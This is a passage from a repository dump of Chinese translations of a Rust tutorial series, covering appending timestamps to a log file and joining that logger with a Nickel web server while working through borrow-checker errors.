std::io;\nuse chrono::*;\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n它正常工作。我犯了一些一开始的错误，但它们很快被纠正了。这里已经是修改后的代码。\n\n查阅文档中的 [std::fs::File](https://doc.rust-lang.org/std/fs/struct.File.html)，我注意到文档对 [std::fs::OpenOptions](https://doc.rust-lang.org/std/fs/struct.OpenOptions.html) 的介绍，这正是我一直在寻找的。这肯定比使用 `std::path` 更好。\n\n我的第一次尝试：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::{File,OpenOptions};\nuse std::io;\nuse chrono::{DateTime,Local};\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:4:15: 4:19 warning: unused import, #[warn(unused_imports)] on by default\nsrc/main.rs:4 use std::fs::{File,OpenOptions};\n                            ^~~~\n     Running `target/debug/simple-log`\nError: could not create file.\n```\n\n有趣。其实它成功创建文件了。哦，我注意错误提示是我硬编码到 `main` 的信息。我认为这样它将工作：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::{File,OpenOptions};\nuse std::io;\nuse chrono::{DateTime,Local};\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(e) => println!(\"Error: {}\", e)\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:4:15: 4:19 warning: unused import, #[warn(unused_imports)] on by default\nsrc/main.rs:4 use std::fs::{File,OpenOptions};\n                            ^~~~\n     Running `target/debug/simple-log`\nError: Bad file descriptor (os error 9)\n```\n\n奇怪。搜索“非法的文件描述”错误信息似乎表明，被使用的文件描述已经被关闭了。如果我注释掉 `file.write_all` 调用，将会发生什么呢？\n\n```\n$ rm log.txt\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:3:5: 3:25 warning: unused import, #[warn(unused_imports)] on by default\nsrc/main.rs:3 use std::io::prelude::*;\n                  ^~~~~~~~~~~~~~~~~~~~\nsrc/main.rs:4:15: 4:19 warning: unused import, #[warn(unused_imports)] on by default\nsrc/main.rs:4 use std::fs::{File,OpenOptions};\n                            ^~~~\nsrc/main.rs:15:40: 15:45 warning: unused variable: `bytes`, #[warn(unused_variables)] on by default\nsrc/main.rs:15 fn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n                                                      ^~~~~\nsrc/main.rs:16:9: 16:17 warning: unused variable: `file`, #[warn(unused_variables)] on by default\nsrc/main.rs:16     let mut file = try!(OpenOptions::new().\n                       ^~~~~~~~\nsrc/main.rs:16:9: 16:17 warning: variable does not need to be mutable, #[warn(unused_mut)] on by de\nfault\nsrc/main.rs:16     let mut file = try!(OpenOptions::new().\n                       ^~~~~~~~\n     Running `target/debug/simple-log`\nFile created!\n$ ls\nCargo.lock      Cargo.toml      log.txt         src             target\n```\n\n不出所料，有一堆未使用的警告信息，但是无他，文件的确被创建了。\n\n这似乎有点傻，但我尝试向函数调用链中添加 `.write(true)` 后，它工作了。语义上 `.append(true)` 就意味着 `.write(true)`，但我想规定上不是这样的。\n\n搞定了这个，它工作了！最终版本：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::{File,OpenOptions};\nuse std::io;\nuse chrono::{DateTime,Local};\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        write(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(e) => println!(\"Error: {}\", e)\n    }\n}\n```\n\n=>\n\n```\n$ ls\nCargo.lock      Cargo.toml      src             target\n$ cargo run\n     Running `target/debug/simple-log`\nFile created!\n$ cargo run\n     Running `target/debug/simple-log`\nFile created!\n$ cat log.txt\nSun, Jun 07 2015 10:40:01 PM\nSun, Jun 07 2015 10:40:05 PM\n```\n\n## 5 结论 & 后续步骤\n\nRust 对我来说越来越容易了。我现在有一些有效的、单功能的代码可以使用，我对下一部分程序的开发感到相当有信心。\n\n当我首次规划这个系列的时候，我计划下一个任务是整合日志代码和 `nickel.rs` 代码，但是现在，我认为这是非常简单的。我猜测，下一个有挑战的部分将是处理选[项解析](http://doc.rust-lang.org/getopts/getopts/index.html)。\n\n—\n\n系列文章：使用 Rust 开发一个简单的 Web 应用\n\n* [Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md)\n* [Part 2a](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)\n* [Part 2b](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md)\n* [Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-3.md)\n* [Part 4](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md)\n* [Conclusion](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-conclusion.md)\n\n## 脚注：\n\n[1](#fnr.1) 有很多种类的字符串是非常合理的事情。字符串是一个复杂的实体，很难得到正确的表达。不幸的是，乍一看字符串非常简单，这种事情似乎没必要复杂。\n\n[2](#fnr.2) 我也不知道我在说什么。这些就是现在所能企及的。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-simple-web-app-in-rust-pt-3.md",
    "content": "> * 原文地址：[A Simple Web App in Rust, Part 3 -- Integration](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-3/)\n> * 原文作者：[Joel's Journal](http://joelmccracken.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-3.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n> * 校对者：[ryouaki](https://github.com/ryouaki)\n\n# 使用 Rust 开发一个简单的 Web 应用，第 3 部分 —— 整合\n\n## 1 前情回顾\n\n这是使用 Rust 开发一个简单的 Web 应用系列的第 3 部分.\n\n到目前为止，我们已经有了一些最简可行功能在几个 Rust 源文件中。现在，我们想把它们放在一个应用程序中。\n\n### 1.1 Review\n\n我们将以下两个模块整合在一起：文件写入 / 记录代码，Web 服务代码。让我们 Review 一下它们：\n\n首先，文件记录代码：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::{File,OpenOptions};\nuse std::io;\nuse chrono::{DateTime,Local};\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        write(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(e) => println!(\"Error: {}\", e)\n    }\n}\n```\n\n现在，Web 服务代码：\n\n```\n#[macro_use] extern crate nickel;\n\nuse nickel::Nickel;\n\nfn say_hello() -> &'static str {\n    \"Hello dear world!\"\n}\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            say_hello()\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n## 2 整合代码：和类型系统作斗争\n\n好了，我想整合这两个程序。首先我会将它们放到一个文件中（当然，要将它们其中之一的 `main` 函数名字改一下），看一看是否能成功编译。\n\n```\n#[macro_use] extern crate nickel;\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::{File,OpenOptions};\nuse std::io;\nuse chrono::{DateTime,Local};\n\nuse nickel::Nickel;\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        write(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn main2() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(e) => println!(\"Error: {}\", e)\n    }\n}\n\nfn say_hello() -> &'static str {\n    \"Hello dear world!\"\n}\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            say_hello()\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n编译运行：\n\n```\n$ cargo run\nsrc/main.rs:5:15: 5:19 warning: unused import, #[warn(unused_imports)] on by default\nsrc/main.rs:5 use std::fs::{File,OpenOptions};\n                            ^~~~\nsrc/main.rs:11:1: 15:2 warning: function is never used: `formatted_time_entry`, #[warn(dead_code)] o\nn by default\nsrc/main.rs:11 fn formatted_time_entry() -> String {\nsrc/main.rs:12     let local: DateTime<Local> = Local::now();\nsrc/main.rs:13     let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\nsrc/main.rs:14     formatted\nsrc/main.rs:15 }\nsrc/main.rs:17:1: 25:2 warning: function is never used: `record_entry_in_log`, #[warn(dead_code)] on\n by default\nsrc/main.rs:17 fn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\nsrc/main.rs:18     let mut file = try!(OpenOptions::new().\nsrc/main.rs:19                         append(true).\nsrc/main.rs:20                         write(true).\nsrc/main.rs:21                         create(true).\nsrc/main.rs:22                         open(filename));\n               ...\nsrc/main.rs:27:1: 33:2 warning: function is never used: `log_time`, #[warn(dead_code)] on by default\nsrc/main.rs:27 fn log_time(filename: &'static str) -> io::Result<()> {\nsrc/main.rs:28     let entry = formatted_time_entry();\nsrc/main.rs:29     let bytes = entry.as_bytes();\nsrc/main.rs:30\nsrc/main.rs:31     try!(record_entry_in_log(filename, &bytes));\nsrc/main.rs:32     Ok(())\n               ...\nsrc/main.rs:35:1: 40:2 warning: function is never used: `main2`, #[warn(dead_code)] on by default\nsrc/main.rs:35 fn main2() {\nsrc/main.rs:36     match log_time(\"log.txt\") {\nsrc/main.rs:37         Ok(..) => println!(\"File created!\"),\nsrc/main.rs:38         Err(e) => println!(\"Error: {}\", e)\nsrc/main.rs:39     }\nsrc/main.rs:40 }\n     Running `target/debug/simple-log`\nListening on http://127.0.0.1:6767\nCtrl-C to shutdown server\n```\n\n酷！这些未使用警告正是我所预期的，在浏览器上访问 `localhost:6767` 仍然呈现“Hello World”页面。\n\n我们尝试整合它们：\n\n```\n#[macro_use] extern crate nickel;\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::{File,OpenOptions};\nuse std::io;\nuse chrono::{DateTime,Local};\n\nuse nickel::Nickel;\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        write(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn do_log_time() -> &'static str {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(e) => println!(\"Error: {}\", e)\n    }\n}\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time()\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:37:19: 37:44 error: mismatched types:\n expected `&'static str`,\n    found `()`\n(expected &-ptr,\n    found ()) [E0308]\nsrc/main.rs:37         Ok(..) => println!(\"File created!\"),\n                                 ^~~~~~~~~~~~~~~~~~~~~~~~~\nsrc/main.rs:38:19: 38:43 error: mismatched types:\n expected `&'static str`,\n    found `()`\n(expected &-ptr,\n    found ()) [E0308]\nsrc/main.rs:38         Err(e) => println!(\"Error: {}\", e)\n                                 ^~~~~~~~~~~~~~~~~~~~~~~~\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n这里的 `println!` 宏功能是写入标准输出，但我是想要的是某些能返回字符串的东西。这有 `sprintln!` 吗，或者其他差不多的东西？\n\n查了查资料，看起来答案是 `format!`：\n\n```\n#[macro_use] extern crate nickel;\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::{File,OpenOptions};\nuse std::io;\nuse chrono::{DateTime,Local};\n\nuse nickel::Nickel;\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &str, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        write(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(())\n}\n\nfn do_log_time() -> &'static str {\n    match log_time(\"log.txt\") {\n        Ok(..) => format!(\"File created!\"),\n        Err(e) => format!(\"Error: {}\", e)\n    }\n}\n\nfn main() {\n    let mut server = Nickel::new();\n\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time()\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:37:19: 37:43 error: mismatched types:\n expected `&'static str`,\n    found `collections::string::String`\n(expected &-ptr,\n    found struct `collections::string::String`) [E0308]\nsrc/main.rs:37         Ok(..) => format!(\"File created!\"),\n                                 ^~~~~~~~~~~~~~~~~~~~~~~~\nsrc/main.rs:38:19: 38:42 error: mismatched types:\n expected `&'static str`,\n    found `collections::string::String`\n(expected &-ptr,\n    found struct `collections::string::String`) [E0308]\nsrc/main.rs:38         Err(e) => format!(\"Error: {}\", e)\n                                 ^~~~~~~~~~~~~~~~~~~~~~~\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n因此，我知道从 `String` 转化到 `&str` 的方法，嗯……我想起可以用 `&`。\n\n```\nfn do_log_time() -> &'static str {\n    match log_time(\"log.txt\") {\n        Ok(..) => &format!(\"File created!\"),\n        Err(e) => &format!(\"Error: {}\", e)\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:37:20: 37:44 error: borrowed value does not live long enough\nsrc/main.rs:37         Ok(..) => &format!(\"File created!\"),\n                                  ^~~~~~~~~~~~~~~~~~~~~~~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:37:19: 37:44 note: ...but borrowed value is only valid for the expression at 37:18\nsrc/main.rs:37         Ok(..) => &format!(\"File created!\"),\n                                 ^~~~~~~~~~~~~~~~~~~~~~~~~\nsrc/main.rs:38:20: 38:43 error: borrowed value does not live long enough\nsrc/main.rs:38         Err(e) => &format!(\"Error: {}\", e)\n                                  ^~~~~~~~~~~~~~~~~~~~~~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:38:19: 38:43 note: ...but borrowed value is only valid for the expression at 38:18\nsrc/main.rs:38         Err(e) => &format!(\"Error: {}\", e)\n                                 ^~~~~~~~~~~~~~~~~~~~~~~~\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n又出现了相同的错误。我想这里我需要一个块：\n\n```\nfn do_log_time() -> &'static str {\n    match log_time(\"log.txt\") {\n        Ok(..) => {\n            let fmt = format!(\"File created!\");\n            &fmt\n        },\n        Err(e) => {\n            let fmt = format!(\"Error: {}\", e);\n            &fmt\n        }\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:39:14: 39:17 error: `fmt` does not live long enough\nsrc/main.rs:39             &fmt\n                            ^~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:38:48: 40:10 note: ...but borrowed value is only valid for the block suffix following s\ntatement 0 at 38:47\nsrc/main.rs:38             let fmt = format!(\"File created!\");\nsrc/main.rs:39             &fmt\nsrc/main.rs:40         },\nsrc/main.rs:43:14: 43:17 error: `fmt` does not live long enough\nsrc/main.rs:43             &fmt\n                            ^~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:42:47: 44:10 note: ...but borrowed value is only valid for the block suffix following s\ntatement 0 at 42:46\nsrc/main.rs:42             let fmt = format!(\"Error: {}\", e);\nsrc/main.rs:43             &fmt\nsrc/main.rs:44         }\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n这仍然无效。我想问题出在 `fmt` ，`fmt` 只存在于新块中，但是作为返回值，它需要在能在外面被使用。如果我在函数顶部声明 `fmt` 会发生什么呢？\n\n```\nfn do_log_time() -> &'static str {\n    let mut fmt = \"\".to_string();\n    match log_time(\"log.txt\") {\n        Ok(..) => {\n            fmt = format!(\"File created!\");\n            &fmt\n        },\n        Err(e) => {\n            fmt = format!(\"Error: {}\", e);\n            &fmt\n        }\n    }\n\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:40:14: 40:17 error: `fmt` does not live long enough\nsrc/main.rs:40             &fmt\n                            ^~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:36:34: 48:2 note: ...but borrowed value is only valid for the block suffix following st\natement 0 at 36:33\nsrc/main.rs:36     let mut fmt = \"\".to_string();\nsrc/main.rs:37     match log_time(\"log.txt\") {\nsrc/main.rs:38         Ok(..) => {\nsrc/main.rs:39             fmt = format!(\"File created!\");\nsrc/main.rs:40             &fmt\nsrc/main.rs:41         },\n               ...\nsrc/main.rs:44:14: 44:17 error: `fmt` does not live long enough\nsrc/main.rs:44             &fmt\n                            ^~~\nnote: reference must be valid for the static lifetime...\nsrc/main.rs:36:34: 48:2 note: ...but borrowed value is only valid for the block suffix following st\natement 0 at 36:33\nsrc/main.rs:36     let mut fmt = \"\".to_string();\nsrc/main.rs:37     match log_time(\"log.txt\") {\nsrc/main.rs:38         Ok(..) => {\nsrc/main.rs:39             fmt = format!(\"File created!\");\nsrc/main.rs:40             &fmt\nsrc/main.rs:41         },\n               ...\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n我不知道如何修正它。我现在打算放一放，一会再回来肝。\n\n—\n\n我尝试了一些新方法，但是无一有效。我想我需要深入学习所有权和生命周期的工作机制。\n\n我刚要查阅 Rust 文档时，我注意到了这个贴士：\n\n> 我们选择 `String` 而非 `&str` 为其命名，通常来说，与一个拥有数据的类型打交道要比引用类型容易些。\n\n因为我现在是在实践而非理论学习，我想尝试一下使用 `String` 看看是否有效。\n\n现在：\n\n```\nfn do_log_time() -> String {\n    match log_time(\"log.txt\") {\n        Ok(..) => format!(\"File created!\"),\n        Err(e) => format!(\"Error: {}\", e)\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\nListening on http://127.0.0.1:6767\nCtrl-C to shutdown server\n```\n\n有效！在浏览器访问页面显示“File created!”，还写了一个日志文件的条目。\n\n我对它能工作并不感到惊讶 —— 我有一点理解使用 `String` 替代 `&str` 就能解决问题，但我想将此作为一个挑战去弄清它。\n\n现在我想通了，这是说得通的。我尝试返回一个假借引用，但我同时拥有它，所以返回它没有任何意义。那么我如何在我自己的函数中返回 `&str` 呢？我没有见过任何使用非假借“`str`”的地方。\n\n缺失了非假借 ~&str~ 类型，我只能认为它表现上是一个普通的 C 字符串指针。这一定会引发一些我尚不了解的问题，对它来说要想很好的应用在 Rust 就必须与 Rust 交互，则 Rust 就必须兼容共享所有权的规则。\n\n如果程序的其他部分持有一个字节数组，提供我一个对该数组的引用，这意味着什么？`&str` 类型是不是基本上就像 C 字符串一样，可以被引用而没有相关的额外元数据？\n\nRust 文档提到从 `&str` 到 `String` 的转化有一些成本。我不知道这是否真的如此，还是仅适用于静态字符串。在堆中分配 `&str` 需要复制 `String`吗？现在我明白了，我敢打赌答案是肯定的；如果你想把假借的值转化成拥有的，唯一合理的办法就是复制它。\n\n无论如何，我都需要继续深入。我觉得原因是，我想要做的事没有意义，所以 Rust 正确的阻止了我。我希望我明白了，为什么每一个 `str` 都是假借值。\n\n我将尝试让 `log_time` 返回记录时间，这样可以显示给用户。我的首次尝试：\n\n```\nfn log_time(filename: &'static str) -> io::Result<String> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    try!(record_entry_in_log(filename, &bytes));\n    Ok(entry)\n}\n\nfn do_log_time() -> String {\n    match log_time(\"log.txt\") {\n        Ok(entry) => format!(\"Entry Logged: {}\", entry),\n        Err(e) => format!(\"Error: {}\", e)\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:32:8: 32:13 error: cannot move out of `entry` because it is borrowed\nsrc/main.rs:32     Ok(entry)\n                      ^~~~~\nsrc/main.rs:29:17: 29:22 note: borrow of `entry` occurs here\nsrc/main.rs:29     let bytes = entry.as_bytes();\n                               ^~~~~\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n嗯……我想这说得通。`bytes` “借了” `entry` 的内容。当 `OK(entry)` 被调用时，这个值仍然被借用，这会导致错误。\n\n现在它工作了：\n\n```\nfn log_time(filename: &'static str) -> io::Result<String> {\n    let entry = formatted_time_entry();\n    {\n        let bytes = entry.as_bytes();\n\n        try!(record_entry_in_log(filename, &bytes));\n    }\n    Ok(entry)\n}\n```\n\n=>\n\n```\n$ cargo run &\n[1] 66858\n$      Running `target/debug/simple-log`\nListening on http://127.0.0.1:6767\nCtrl-C to shutdown server\n\n$ curl localhost:6767\nEntry Logged: Tue, Jun 23 2015 12:34:19 AM\n```\n\n这已经不是我第一次使用“贴一个新块在这”这样的特性了，但是它就是因此而工作了，这似乎是一个相当优雅的方式来处理这个问题。我首先想到的是，我需要调用另一个函数以某种方式将字节“转换”回 `String`，但后来我意识到这实际上没有意义，我需要以某种方式“释放”借用。\n\n我不明白错误信息中“迁出 `entry`”的意思。我觉得是只要有假借引用，你就不能转移值的所有权。但这也不一定是对的。把它传给 `Ok()` 就是改变所有权了吗？我对此很困惑，Rust 文档似乎并没有针对这一具体的问题给出解释，但我认为我的猜测就应该是对的 —— 所有权猜假借存在的时候不能被改变。我想是的。\n\n我很欣慰我在 Rust 文档的假借部分中见到，使用块是这个类问题的一种解决方案。\n\n## 3 结语\n\n整合工作比我预期的难得多。假借（Borrowing） / 所有权（Ownership）花费了我一些时间，所以我打算在这停一停，因为已经写了很长了。\n\n幸运的是，我认为我在慢慢理解 Rust 的工作机制，尤其是它的假借功能。这给了我对未来的希望。\n\n—\n\n系列文章：使用 Rust 开发一个简单的 Web 应用\n\n* [Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md)\n* [Part 2a](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)\n* [Part 2b](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md)\n* [Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-3.md)\n* [Part 4](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md)\n* [Conclusion](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-conclusion.md)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md",
